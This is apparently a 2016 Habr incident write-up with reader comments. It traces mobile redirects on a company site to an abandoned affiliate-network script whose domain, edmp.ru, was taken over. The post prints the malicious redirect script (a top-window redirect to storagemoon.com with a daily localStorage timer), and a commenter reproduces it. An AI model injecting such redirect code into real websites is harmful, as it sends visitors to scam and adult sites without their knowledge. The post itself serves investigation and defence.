Добрый день!
Меня зовут Максим и я руковожу развитием продуктов в it-компании. Эта история началась с того, что однажды я зашел с мобильного телефона на наш сайт и, к своему большому удивлению, был перенаправлен на сайт какой-то интернет-рулетки. Попробовал зайти еще раз – проблема не повторяется, подумал что глюк. Попросил коллег попробовать зайти с мобильного телефона – и волосы встали дыбом. Один «стал миллионным посетителем и выиграл машину», второй – «получил подарочный депозит на форекс», третий был обрадован «ваучером на 50 000 рублей», а многие вообще попали на сайты с нескромно одетыми женщинами, делающими всякое. Для тех кто задумался о том, что может быть причиной, подсказка – сайт не взламывали. Вредоносный код мы добавили сами, пользуясь одним популярным маркетинговым инструментом. Расследование под катом.
Проблема
Спонтанные редиректы на сторонние сайты с сомнительным контентом при заходе на наш сайт с мобильных устройств.
Подозрения
- Партнерский js-код
- Встраивание со стороны интернет-провайдеров (парсинг и изменение трафика)
- Проблемы с телефоном, например вирус
Расследование
Проблема воспроизводилась на разных устройствах, в том числе на эмуляторе, а значит дело не в телефоне. Также редирект повторялся у всех операторов и на wi-fi. Значит дело в партнерском коде.
При помощи Chrome DevTools мы эмулировали мобильное устройство и стали пытаться воспроизвести редирект. Поймали! В сетевых логах нашлась уйма странных подгруженных ресурсов. Проверить их содержимое не удалось – при переходе браузер сохраняет пути к файлам, но не их содержимое. Остался только первый переход – storagemoon.com – агрегатор, который выкидывал через цепь редиректов на сомнительные сайты.
Ладно, тогда мы пойдём другим путем.
В консоли браузера вставляем отладочный код:
window.addEventListener("beforeunload", function() { debugger; }, false)
Он отрабатывает при начале перехода на новую страницу. Далее стали заходить на Фоксфорд, вычищая кэш. В очередной раз снова повезло – переход инициировал скрипт по адресу edmp.ru/pix/as_551.js.
Пруф:
Сам скрипт затягивался из партнерского кода ElonLeads.
Справедливости ради, с ElonLeads мы уже не работаем, но после отключения не убрали код ретаргетинга.
Разбор работы этого скрипта для мобильных устройств (скрипт по этому адресу с десктопа выглядит иначе):
При первой загрузке скрипта пользователя перенаправляет по адресу storagemoon.com. Кроме этого, в localStorage записывается под ключом ”MenuIdentifier” следующее время редиректа, а именно ровно через сутки. В течение суток скрипт будет вести себя тихо и никому не мешать.
Однако на бекенде тоже есть какая-то логика. Потому что данный скрипт подгружается только на мобильных, и не всегда в первый раз.
Возможно, каждому 10-му, например, или через какое-то время. Возможно, запоминается IP. Иначе должен быть редирект сразу после очистки localStorage.
Сам код скрипта в читаемом виде:
function() {
function t() {
return !!localStorage.getItem(a)
}
function e() {
o(), parent.top.window.location.href = c
}
function o() {
var t = r + i;
localStorage.setItem(a, t)
}
function n() {
if (t()) {
var o = localStorage.getItem(a);
r > o && e()
} else e()
}
var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3),
c = "http://storagemoon.com",
i = 86400;
n()
}();
В дополнение, можно заметить по истории whois, что домен edmp.ru, с которого загружается скрипт, уводящий пользователя в неведомые дали, поменял владельца с ELONLID, LLC на Private Person. Видимо, тогда и начались фокусы.
И, в заключение, партнерский код ElonLeads, затягивающий именно этот edmp.ru/pix/as_551.js:
<script defer="defer" id="elpix">
try {
(function(){
window.elon = {
shop: 4,
user: {{user_id}}
};
var script = document.getElementById('elpix'), as_name = 'as_551', as = document.createElement('script');
Что произошло (на наш взляд)
ElonLeads, CPA сеть, счётчики которой стояли на тысячах сайтов, потеряла (продала?) доступ к домену edmp.ru. С этого домена тянулся js скрипт, который веб-мастера устанавливали на сайт, чтобы присоединиться к CPA сети. Злоумышленники смогли подменить скрипт и продолжают зарабатывать деньги на редиректах на сомнительные сайты. Были ли они в сговоре с ElonLeads – неизвестно. Однако своих бывших партнёров ElonLeads никак не предупредила о смене кода счётчиков. Поэтому, возможно, и с вашего сайта тоже идут редиректы на интернет рулетки и прочий развод.
Мне кажется, если мы создаем продукт для других пользователей в Интернете, мы обязаны заботиться о том, чтобы результатом нашей работы не воспользовались злоумышленники и не пострадали пользователи. Это вопрос нашей ответственности. Для меня подобное легкомысленное поведение с «потерей домена» – это фактически содействие злоумышленникам. Думаю никто из нас не может даже представить, что такое допустит например Google или Yandex.
В расследовании участвовали: obdolbacca, tauron, gremglee
Комментарии (42)
roboter
10.06.2016 14:43+14«после отключения не убрали код ретаргетинга» — вся беда в одном предложении.
MaximChistov
10.06.2016 15:35Расшифровал до конца ваш скрипт:
if (!localStorage.getItem("MenuIdentifier") // если еще не сохраняли || Math.floor((new Date).getTime() / 1000) > localStorage.getItem("MenuIdentifier")) // или после сохранения прошло больше дня { localStorage.setItem("MenuIdentifier", Math.floor((new Date).getTime() / 1000) + 24 * 60 * 60); // запишем в хранилище текующую дату + 1 день parent.top.window.location.href = "http://storagemoon.com"; // редирект на плохой сайт }
Goodkat
10.06.2016 17:49+4Сперва грузят левые скрипты, а потом жалуются, что пользователи используют адблокеры.
Часто на казалось бы серьёзных сайтах я попадал на редирект, пока не установил блокировщик рекламы. Вроде бы даже в гугловской рекламе были редиректы. Теперь хорошо.
zooks
10.06.2016 17:52-2К сожалению, встречается очень много сайтов, которые заражены через FTP путем модификации .htaccess.
А заходить с мобильного на свои сайты нужно ежедневно.
MaxOn_Shu
10.06.2016 18:20+2Есть информация об атаках онлайн магазина похожим способом. Началось все в этот понедельник.
Не хочется называть имя онлайн магазина, но совершенно точно знаю — он с ElonLeads никогда не работал.
Очень часто хаккеры используют метки и JS-коды партнерских сетей, как например ранее.
Возможно кто то из читавших знает и помнит «Кукусика».
Злоумышленник использовал метки сети CityADS и «ронял» сервера магазинов, отправляя десятки тысяч запросов в секунду.
Сервера перегружались и падали. На выходе администраторы видят метки Сити.
Цель была одна — испортить отношения партнерской сети с только что подключившимся магазином.
Автор темы разобрался с проблемой, но на 50%.
Это верхушка айсберга.
Обвинять партнерскую компанию с первых же подозрений — это глупо.
Вы видите только ту картину, которую вам и хотел показать опытный хакер.Dm4k
10.06.2016 18:32+1Тут то все банально «опытный хакер» просто выкупил освободившийся домен — и разместил на нем зловредный скрипт
erlyvideo
10.06.2016 19:09о чём и речь.
Домен освободился из под рекламной сети. Лично у меня вопрос — почему так произошло? Как так получилось, что домен, который был точкой координации с клиентами, попал в руки хакерам?Dm4k
10.06.2016 20:06+1Представьте: вот есть у вас в записной книжке некий Валера, который каждый год на годовщину свадьбы ваших родителей достает вам билеты в Большой театр со скидкой. Вы уже привыкли к тому что Валера человек занятой, и последние пару лет предварительно связываетесь с ним по смс. Вот и в этот раз — написали смс Валере «Достанешь два билета на Дон Кихота на воскресенье?», а он в ответ — «Не вопрос, 10 000. Кидай на карту: ХХХХ ХХХХ.....». И вы конечно же все делаете.
Как вам такая история?
И только не говорите что это совсем другой случай, или что такое развитие событий невозможно, возможно! ;)erlyvideo
10.06.2016 22:35вы придумываете какие-то нелепые вещи.
Если компания выбрасывает свой домен и менее чем через полгода его подбирают какие-то сомнительные личности, то это плохо.Dm4k
10.06.2016 23:05Конечно плохо, что после условно «хорошей компании» домен подобрали какие-то «сомнительные личности», но никто от этого не застрахован.
А чем они нелепые, если вы перестаете пользоваться доменом или как в моем примере симкой — то этот домен может приобрести любой человек, так же как и номер телефона.
Случаев когда крупные компании забывали оплатить домен, и его выкупали плохие ребята и делали редирект на нужный себе сайт — множество. А бывали и такие когда делали похожий сайт заглушку и собирали данные клиентов.
(мне подумалось что пример с номером телефона может вам был бы проще, но нет так нет)
avost
11.06.2016 22:02+1Ну, почему сразу хакеры? Кто-то подобрал домен, что-то на нём делает и периодически видит непрерывную долбёжку от одного реферера. Пошёл, поглядел. Большие солидные люди. Пол-года не отключают подозрительный скрипт. Может приколоться и вставить им туда порнушку? А почему бы и нет ;).
x893
10.06.2016 19:50Посмотрите сколько сайтов используется для загрузки страницы с вашего сайта и подумайте — сможете вы гарантировать безопастность каждого из них. Я давно отказался от контента со сторонних сайтов и лет 5 не имею проблем с такими проблемами. После этого и монетизация строится собственным умом, а не на показе рекламы от не понятно кого.
Gremglee
10.06.2016 20:07Согласен, если ставишь себе какой-то баннер рекламной сети, очередной раздражающий попап, модальное окно с видеорекламой или любой другой контент с посторонних сайтов — то ты немного продаёшь душу дьяволу и не можешь гарантировать, что они загрузят в следующий раз. Но в данном случае речь совсем не про баннеры — монетизация Фоксфорда никоим образом не связана с показом пользователям какой-либо сторонней рекламы или партнёрских предложений. CPA сеть ведёт трафик на наш сайт с UTM метками в GET параметрах. И чтобы мы их не обманывали, они обычно просят разместить код, который при заходе их пользователя посылает инфу о факте захода на их сервер. Так они видят реально сколько пользователей они привели и каждый факт оплаты такого пользователя. Т.е. скрипт работает абсолютно незаметно и безвредно для конечного юзера. Он всего лишь регистрирует факт захода и факт покупки товара на клиентском сайте от пользователей, которых привела CPA сеть.
x893
10.06.2016 22:43Это конечно хорошо, что GET запрос, но есть такая тонкость. Большинство сайтов содержат загрузку кода для всякий yadro и прочих счетчиков, которые пользователю не нужны. Но содержимое совсем не отображается или отображается некорретно, если эти скрипты не загрузятся (пока броузер таймаут не выдаст по нему) примеров тонна. Никто не запрещает код для формирования запроса грузить со своего сайта а запросы отправлять куда угодно, но при этом отображение страницы не будет зависеть от сторонних сайтов. Дизайнерам на это наплевать, а владельцы об этих проблеммах даже не подозревают и только когда отваливается — тогда начинают суетиться. Хотя если потратить на час больше времени и сделать меньше зависимостей от чужих ресурсов — таких проблем просто не возникнет. Я тоже пользуюсь, например, google analytics, но даже если его назначить на 127.0.0.1 то задержек в рендеринге не будет. Немного может эмоционально, но просто уже 1tv.ru невозможно использовать из-за этого, хотя дизайнеры там профессионалы в отличии от нас — любителей.
deustech
10.06.2016 20:06+1для того, чтобы посмотреть, что откуда загрузилось и куда направлялось и прочее, проще использовать mitmdump или fiddler, ведь иногда редиректов может быть более 15 и более и они могут динамически меняться
rhamdeew
11.06.2016 01:12+2С другой стороны руководство компании ElonLeads могло бы поступить более мудро и оставить домен у себя. Лучше переплатить 100-600 рублей в год за домен которые не используется чем отпустить его в свободное плавание и возможно косвенно насолить тем самым свои забывчивым бывшим клиентам.
erlyvideo
12.06.2016 00:21может опять же возникнуть вопрос: если для компании оплата уже используемого партнерами домена хоть сколько либо существенная трата, то что там происходит?
slutsker
11.06.2016 07:05+2Спасибо за статью, лично я из неё сделал такие выводы:
1) перестав работать с сервисом, убрать весь его код из своего проекта
2) для проектов со сторонними скриптами проверять переодически, что нет скриптов, возвращающих 404
3) если я делаю сервис, не «бросать» свои домен
4) если я имею сервис и «бросил» свои домены — заблаговременно известить тех, кто может использовать такой доменNewbilius
11.06.2016 19:43Самый правильный вывод. madreval, может быть стоит обновить статью, добавив этот вывод? А так же комментарий от представителя ElonLeads, которые, как понимаю, всё-таки предупредили своих партнёров. Просто на тот момент вы их партнёром уже не были.
madreval
11.06.2016 19:58Согласен, исправил на «бывших партнеров», уведомляли ли они текущих я не знаю.
madreval
11.06.2016 20:07Спасибо всем за комментарии, надеюсь вы не зря потратили время на прочтение.
Многие подумали, что статья была о том, что в этой ситуации я обвинял ElonLead за то, что у нас появились редиректы. Нет, мы сами это допустили и это исключительно наша ответственность. Мы нашли редирект в первый же день и сразу устранили.
Статья была о другом. Мне кажется, если мы создаем продукт для других пользователей в Интернете, мы обязаны заботиться о том, чтобы результатом нашей работы не воспользовались злоумышленники и не пострадали пользователи. Это вопрос нашей ответственности. Для меня подобное легкомысленное поведение – это фактически содействие злоумышленникам. Думаю никто из нас не может даже представить, что подобное допустит например Google или Yandex.
pansa
12.06.2016 15:18Тема скрытых редиректов, в т.ч мобильных, уже стара, как мир. Периодическая проверка своего ресурса на их наличие должна бы уже стать нормой гигиены, тем более, что есть сервисы, автоматом делающие минимальные проверки.
Хотя, справедливости ради нужно заметить, что редиректоры бывают довольно хитрые. Из того, что встречалось:
— учет user-agent'а ( просто )
— учет cookie и/или реферер ( просто )
— учет GEO ( чуть посложнее )
— учет версии и установленных плагинов браузера (чуть посложнее)
— учет сетей мобильных операторов — т.е скрипт подгружался только если выходишь из определенных сотовых сетей ( уже интереснее ). На такой вариант даже как-то наткнулся случайно, на сайте аквапарка питерленд. Писал им — отфуболили, скрипт висел еще с пол-года, сейчас вроде убрали.
Так что полноценный мониторниг ресурса имеет сложности.
dmitryredkin
Ну вот. Сначала ставят на сайт всякую фигню без разбора, а потом удивляются.
Поделом! Впредь наука.
Лично я любой мобильный сайт, показывающий любую рекламу, кроме баннеров, тут же закрываю и заношу в персональный черный список.
Gremglee
Простите, но это не совсем «фигня без разбора». Партнёрские сети — это серьёзные компании, которые в сумме приносят от 15 до 40% оплат. Мало кто откажется от такого количества платежеспособного трафика из-за нежелания добавлять js-скрипт на свой сайт, который считает пришедших пользователей. С каждой такой компанией, в том числе Elonleads, заключается контракт и во время его действия скрипт работал нормально. Суть статьи в том, что после разрыва контракта Elonleads почему-то считает себя в праве превратить свой скрипт в «троянского коня» на сайтах бывших партнёров и делать с пользователями что угодно.
Georgy1
От имени ElonLeads могу сказать, что мы так не считаем и не делаем. Домен нам более не принадлежит, а сервер к которому он обращался не доступен уже более СЕМИ месяцев. Это означает, что все это время разработчики Foxford допускали наличие скрипта, ведущего на 404ую ошибку. У нас за такое могли и уволить.
Помимо этого не понимаю такое пренебрежение к собственной безопасности. Из около пятидесяти компаний, с которыми у нас был заключен договор по таким скриптам единственными, кто после расторжения не убрал его оказались именно Foxford. Автор статьи, с которым я имел сегодня удовольствие говорить, утверждает, что мы со своей стороны должны контролировать наличие наших скриптов на ресурсах наших БЫВШИХ партнеров. Я не согласен, не должны. А если и должны то прошу указать нормы права (едва ли они существуют). Также считаю, что после начала процедуры расторжения договора следует первым делом убирать такие скрипты.
P.S. Будьте впредь осторожней с обвинениями, если конечно же, у вас нет доказательств. Почему то уверен, что у вас таковые отсутствуют. Наверно потому что это к нам никак не относится :)
erlyvideo
Георгий, понятно что вы не виноваты.
Но осадочек остался: фоксфорд это крупный проект и вы не указали им на такую проблему, хотя по доброй воле могли.
Плюс очень печально для вашего реноме то, что вы продали домен крайне сомнительным людям.
Вопрос не в том, что вы виноваты, нет это не так, а вопрос в том, что можно было как-то подружелюбнее. И уж явно нелепо смотрятся от вас слова про «могли и уволить». Нет, не могли, раз вы продали домен левым людям и известному клиенту не указали на проблему. Не надо изображать что у вас всё мегакруто в то время, как это не так.
Georgy1
Положа руку на сердце могу сказать, что если бы я знал, что у вас остались коды, то обязательно бы вас уведомил, что сервис отключен, но я не знал. В знак «доброй воли» в данный момент занял людей на прозвон бывших партнеров, чтобы поставить их в курс дела и напомнить удалить коды. Если таковые остались.
Я уже сказал, видимо, вашему коллеге, что надо быть осторожней со словами и обвинениями. Откуда у вас информация, что мы, цитирую: «продали домен крайне сомнительным людям»?
Уверяю вас, в том, что это не правда. Домен нам более не принадлежит потому как мы его не продлили в виду того, что он нам более не нужен.
P.S. У нас не мегакруто, у нас все хорошо :)
P.S.S. А вы, по доброй воле, могли бы и уведомить нас, что нашли такой косяк перед тем, как «поливать нас грязью» на виду тысяч читателей хабра.
erlyvideo
нет, Максим не наш коллега.
Я вижу, что он пользовался вашим сервисом, не отключился от него правильно и теперь словил серьезные проблемы на грани мошенничества.
Не продлевать домен — это очень грустно и очень неправильно.
Когда мы меняем DNS, то на старых серверах ещё по 2-4 месяца смотрим в access.log что бы никто из клиентов больше не обращался к нам и извещаем оставшихся о том, что у них поломанная конфигурация.
Очень странно, что вы говорите о каких-то глупостях типа обзвона. Один шелл-скрипт, который погрепает лог, вытянет из базы контактные емейлы и разошлет всем письма. 20-40 минут работы админа.
Georgy1
Я вообще-то не про Максима, я про Антона Ковалёва Gremglee, извиняюсь, если мое предположение ошибочно.
В данном конкретном случае не вижу ничего «неправильного и грустного» не продлевать домен, учитывая, что сервис, базировавшийся на нем недоступен уже, повторюсь, СЕМЬ месяцев.
Наш сервер после расторжений проработал всего месяц. Но я считаю этого достаточно после этого, повторюсь снова, сервер не был доступен более СЕМИ месяцев.
Обзвон — это не глупости, ибо, опять же повторюсь, сервера у нас больше нет. И разговор отличается от e-mail письма стопроцентным наличием фидбека.
Dm4k
Проясните для тех кто не в теме:
1) на момент расторжения договора с Фоксфорд:
а) принадлежал ли вам еще домен?
б) работал ли еще сервер на котором размещался указанный скрипт?
2) на момент когда вы решили не продлевать домен работал ли еще сервер, если да то сколько времени?
3) когда вы решили не продлевать домен, или выключить сервер (т.е. прекратили отдавать скрипт по указанному адресу) — сделали ли вы какую-то рассылку для активных клиентов о том что используемый ранее скрипт необходимо заменить/удалить?
Georgy1
1а) Да, принадлежал. Вплоть до мая сего года.
1б) Да работал. Также работал еще месяц с момента расторжения, но без сбора данных (в холостую).
2) Нет, не работал уже в течение полугода.
3) Рассылку не производили, но аккаунт-менеджеры говорили со всеми рекламодателями.
Dm4k
@toall ребят, ну извините, но если все так — то получается что ElonLeads сделали то что должны были.
т.е. они же не должны были обзванивать или писать всем своим старым клиентам с напоминанием о том что если друг те используют старый скрипт (что уже странно) — то его бы надо прекратить использовать)
Своих текущих клиентов они предупредили (как они утверждают)
А так, ситуаций когда злоумышленники перекупают брошенные некогда популярные домены и используют их в своих целях (фишинг / распространение троянов / етц) — довольно много.
Я понимаю если бы ребята из Фоксфорд жаловались что их не предупредили о том что старый адрес перестал рабоать — если бы они были клиентами, но ведь это не так.
Это как если бы мне сейчас позвонили из продуктового магазина в который я ходил 5 лет назад, и у меня есть их дисконтная карта, а магазин перехал в другое место — и они бы мне сказали вы знаете — мы переезжаем, если на нашем месте откроется другой продуктовый магазин — это не мы, там могут быть плохие продукты — будьте внимательны.
(нет это конечно крутой кейс, и возможно даже я бы узнал не переезжают ли они куда-то поближе ко мне, и они бы меня таким образом вернули как клиента, но в разрезе текущей ситуации — мне кажется это слегка нелепым)
erlyvideo
есть то, что вы сделать должны (договор, закон и т.п.), а есть то, что сделать реально стоит.
Например, хорошая практика убедиться в том, что никто не пользуется старыми экземплярами серверов перед их выключением. Понятно, что кто-то всем сказал, но лучше для спокойствия клиентов воспользоваться разными механизмами.
То же самое с доменом. Сомневаюсь, что для вашего бизнеса стоимость продления домена на 5 лет хоть что-то значит.
Зачем его вообще выбрасывать?
Т.е. к вам вопросы не насчёт того, что вы что-то сделали в нарушение договора, а скорее просто как-то чрезмерно формально и по невнимательности по факту помогли мошенникам воспользоваться ошибкой ваших клиентов.
Я бы вам советовал эту ситуацию рассмотреть повнимательнее и как-то отреагировать, потому что сейчас сухой остаток такой: фоксфорд обратился к elonleads и получил в результате воровство трафика. А кто виноват — это не важно. Если пойти к яндексу, то трафик точно не украдут.
Самый простой способ — это например никогда не выбрасывать домены.
Obdolbacca
Про домен edmp.ru — в первую очередь, насторожила смена владельца с компании на частное лицо. Вы объяснили это отказом от продления домена.
А теперь вопрос без шуток — а elonleads.ru вам ещё принадлежит? Он тоже, судя по истории whois, почти синхронно с edmp.ru, поменял свою принадлежность, и теперь принадлежит «Private person».
Georgy1
Да, принадлежит. Причиной смены владельца основного домена стала юридическая реструктуризация компании в целом. Рассказывать больше и конкретней не имею юридического права. Скажу только то, что elonleads.ru сменил владельца одновременно с elonlink.ru
mikka1
«Домен нам более не принадлежит потому как мы его не продлили в виду того, что он нам более не нужен»
… хм, «Солидная фирма возьмет в аренду дырокол»?
Gremglee
Внезапно это совпало с «юридической реструктуризацией» и с тем, что основной домен компании «elonleads.ru» по whois также перестал принадлежать LLC ElonLeads, что нашли в комментариях выше. Видимо, в случае претензий будут взятки гладки — «edmp.ru нам не принадлежит», «elonleads.ru нам не принадлежит». Хотя это может быть конечно просто совпадение, обвинять никого не берусь.
Признаю, мы сами совершили главную ошибку — не отключили скрипт вовремя. Мы слишком доверились партнёрскому скрипту. Мы мудаки. Отключили бы сразу — не пришлось бы сейчас копаться в грязном белье других компаний и познавать юридические тонкости корректной регистрации доменов.
erlyvideo
совершили ошибку вы. Но с elonleads вы работать скорее всего не будете, потому что доверять людям, которые выбрасывают свои фронт домены и отдают их мошенникам вы вряд ли будете.
nwalker
Так, между нами, я ведь обращал внимание кого-то из разработчиков портала на этот долбаный скрипт, когда он был еще просто 404 и просто мешался, и мы как-то раз это даже выясняли, что за скрипт и чей он.
Вот только удалить его забыли/забили.
Dm4k
А что вам ответили разработчики? О_о
И елки палки ребят, вы уже не сотрудничаете с конторой, у вас на сайте скрипт отдает 404, вы об этом знаете — но не убираете его? Что с вами не так?)
Miraage
А еще модальными окнами а-ля «подпшись на рассылку», «вступи в нашу группу» раздражают. UX на высоте. :)
alyt
Возможно, это и правильное решение. Некоторые люто ненавидят сайты с всплывающими окнами и тоже их в ЧС отправляют :) В большинстве случаев разного арбитраж трафика — вполне полезное для всех участвующих сторон дело. А непредвиденные обстоятельства — потому и называют непредвиденными… Мне кажется, надо очень внимательно следить за тем, что происходит после окончания контракта. И не будет такого рода ситуаций.